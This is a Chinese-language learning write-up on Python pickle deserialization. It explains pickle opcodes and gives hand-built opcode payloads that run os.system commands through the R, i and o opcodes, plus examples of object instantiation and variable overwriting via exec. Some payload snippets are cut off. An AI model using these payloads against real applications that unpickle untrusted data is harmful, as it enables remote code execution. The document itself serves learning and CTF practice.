初探pickle反序列化
在打XY时遇到了pickle反序列化,但是没打出来故学习。
什么是pickle
pickle其实就是python中用于序列化和反序列化的一种模块。
其将对象序列化的结果是由一系列opcode组成的。如下1
2
3
4
5
6
7
8
9
10
11import pickle
import os
import base64
import pickletools
class lalala():
def __reduce__(self):
return (os.system,("dir",))
haha=lalala()
print(pickle.dumps(haha,protocol=0))
----------------------------------------------
cnt\nsystem\np0\n(Vdir\np1\ntp2\nRp3\n.
上面的代码利用了__reduce__
魔术方法该方法可以在被序列化时,会返回一个元组,以第一个参数为函数,第二个参数为执行的参数。
我们可以看到其输出值为V0协议的opcode,该协议也称为人类可读的协议版本。其实__reduce__
也就是R关键字
opcode
既然其序列化的结果为opcode那么我们想要较为深入的了解pickle反序列化就要了解一下什么是opcode
概念
Opcode,全称为Operation Code,是指操作码或指令码,它是计算机体系结构中的一部分。
即opcode可以算较为底层的指令码。
pickle中opcode的版本
v0 版协议是原始的“人类可读”协议,并且向后兼容早期版本的 Python。
v1 版协议是较早的二进制格式,它也与早期版本的 Python 兼容。
第 2 版协议是在 Python 2.3 中引入的。 它为 新式类 提供了更高效的封存机制。 请参考 PEP 307 了解第 2 版协议带来的改进的相关信息。
v3 版协议是在 Python 3.0 中引入的。 它显式地支持字节对象,不能使用 Python 2.x 解封。这是 Python 3.0-3.7 的默认协议。
v4 版协议添加于 Python 3.4。它支持存储非常大的对象,能存储更多种类的对象,还包括一些针对数据格式的优化。它是Python 3.8使用的默认协议。有关第 4 版协议带来改进的信息,请参阅 PEP 3154。
第 5 版协议是在 Python 3.8 中加入的。 它增加了对带外数据的支持,并可加速带内数据处理。
常用的opcode
这里我就直接引用一个师傅的了https://goodapple.top/archives/1069
指令 | 描述 | 具体写法 | 栈上变化 |
---|---|---|---|
c | 获取一个全局对象或import一个模块 | c[module]\n[instance]\n | 获得的对象入栈 |
( | 向栈中压入一个MARK标记 | ( | MARK标记入栈 |
o | 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) | o | 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈 |
i | 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) | i[module]\n[callable]\n | 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈 |
N | 实例化一个None | N | 获得的对象入栈 |
S | 实例化一个字符串对象 | S’xxx’\n(也可以使用双引号、\’等python字符串形式) | 获得的对象入栈 |
V | 实例化一个UNICODE字符串对象 | Vxxx\n | 获得的对象入栈 |
I | 实例化一个int对象 | Ixxx\n | 获得的对象入栈 |
F | 实例化一个float对象 | Fx.x\n | 获得的对象入栈 |
R | 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 | R | 函数和参数出栈,函数的返回值入栈 |
. | 程序结束,栈顶的一个元素作为pickle.loads()的返回值 | . | 无 |
t | 寻找栈中的上一个MARK,并组合之间的数据为元组 | t | MARK标记以及被组合的数据出栈,获得的对象入栈 |
) | 向栈中直接压入一个空元组 | ) | 空元组入栈 |
l | 寻找栈中的上一个MARK,并组合之间的数据为列表 | l | MARK标记以及被组合的数据出栈,获得的对象入栈 |
] | 向栈中直接压入一个空列表 | ] | 空列表入栈 |
d | 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) | d | MARK标记以及被组合的数据出栈,获得的对象入栈 |
} | 向栈中直接压入一个空字典 | } | 空字典入栈 |
p | 将栈顶对象储存至memo_n | pn\n | 无 |
g | 将memo_n的对象压栈 | gn\n | 对象被压栈 |
0 | 丢弃栈顶对象 | 0 | 栈顶对象被丢弃 |
b | 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 | b | 栈上第一个元素出栈 |
s | 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 | s | 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新 |
u | 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 | u | MARK标记以及被组合的数据出栈,字典被更 |
a | 将栈的第一个元素append到第二个元素(列表)中 | a | 栈顶元素出栈,第二个元素(列表)被更新 |
e | 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 | e | MARK标记以及被组合的数据出栈,列表被更新 |
opcode的解析过程
我这里直接贴图了
我们可以发现其解析的过程是在栈内实现的。
pickletools
这个模块可以使我们可以更加轻松的阅读opcode1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25import pickle
import os
import base64
import pickletools
class lalala():
def __reduce__(self):
return (os.system,("dir",))
haha=lalala()
bb=pickle.dumps(haha,protocol=0)
print(bb)
print(pickletools.dis(bb))
----------------------------------------------------------------
b'cnt\nsystem\np0\n(Vdir\np1\ntp2\nRp3\n.'
0: c GLOBAL 'nt system'
11: p PUT 0
14: ( MARK
15: V UNICODE 'dir'
20: p PUT 1
23: t TUPLE (MARK at 14)
24: p PUT 2
27: R REDUCE
28: p PUT 3
31: . STOP
highest protocol among opcodes = 0
None
重点分析
由于我的是windows端所以生成的opcode的第一步c所导入的模块使用的是nt system其中os被替换为nt而nt代表windows系统。然后用p将栈顶进行存储在memo_n,而后使用(
压入一个MARK这是为了后面的R来做准备。而后用V压入字符。最后就是t将dir存为元组后使用R来进行函数执行,函数为system,参数为dir。
我们经过分析可以发现其是可以命令执行的。即我们在使用pickle.dumps来反序列化上面的opcode会命令执行os.system(‘dir’)
但是,我们可以看到直接使用pyhton的pickle.dumps来生成的opcode会以为操作系统的不同而不同而不同,这也就增加了报错的可能。而且使用这个来构造还非常不灵活。所以我们要学会手动构造。
手动构造命令执行的opcode
我们看上面的常用opcode会发现有三种可以命令执行的opcode,即R
o
i
构造基础的难度不高,我们只要构造出os.system(‘calc’)即函数很参数即可
如下
命令执行
R
1 | loads=b'''cos |
我们使用c来获取os.system。之后导入一个MARK这是为了生成元组做的准备(用R来进行命令执行的参数必须为元组),之后就是用S导入一个参数。在用t生成元组,在R来命令执行
剩下的也大同小异我就直接写payload了
i
1 | loads=b'''(S'calc' |
o
1 | loads=b'''(cos |
操控实例化对象的属性
我们可以使用这个来实例化修改一个对象
这个opcode也较短我们可以手动构造1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20import pickle
import os
import base64
import pickletools
class lalala():
def __init__(self,name,age):
self.name=name
self.age=age
opcode=b'''c__main__
lalala
(S'dazhuang'
S'benben'
tR.'''
a=pickle.loads(opcode)
print(a)
print(a.name,a.age)
------------------------------------------------------------------------
<__main__.lalala object at 0x000001B52C191250>
dazhuang benben
构造实例化类的opcode的大体方法与命令执行的方法没有太大的区别,这时因为实例化的过程与函数传参执行的过程非常像
我们可以看到当我们反序列化了这个opcode时lalala被实例化了
变量覆盖
覆盖导入的其他python文件的变量
1 | import pickle |
我们通过c__main__\nsecret
来获取导入的secret模块。在利用d操作符来将其变为字典{'secret':'hahaha'}
而后利用d操作符来更新。这就导致了其被覆盖
覆盖当前文件文件下的变量
对于当前文件下的变量覆盖我们可以使用命令执行函数exec和eval来执行
不知道为什么我徒手构造这个一直报错使用这个我就先写一下用reduce来构造的方法,因为这个没有设计操作系统的命令执行,所有只要是python环境就可以执行。所有使用reduce来构造的即使在其他系统也可以执行。1
2
3
4
5
6
7
8
9
10
11
12name="benben"
class A(object):
def __reduce__(self):
return (exec,("name='dazhuang'",))
a = A()
opcode_app=pickle.dumps(a,protocol=0)
print(opcode_app)
pickle.loads(opcode_app)
print(name)
------------------------------------------------------------------------------
b"c__builtin__\nexec\np0\n(Vname='dazhuang'\np1\ntp2\nRp3\n."
dazhuang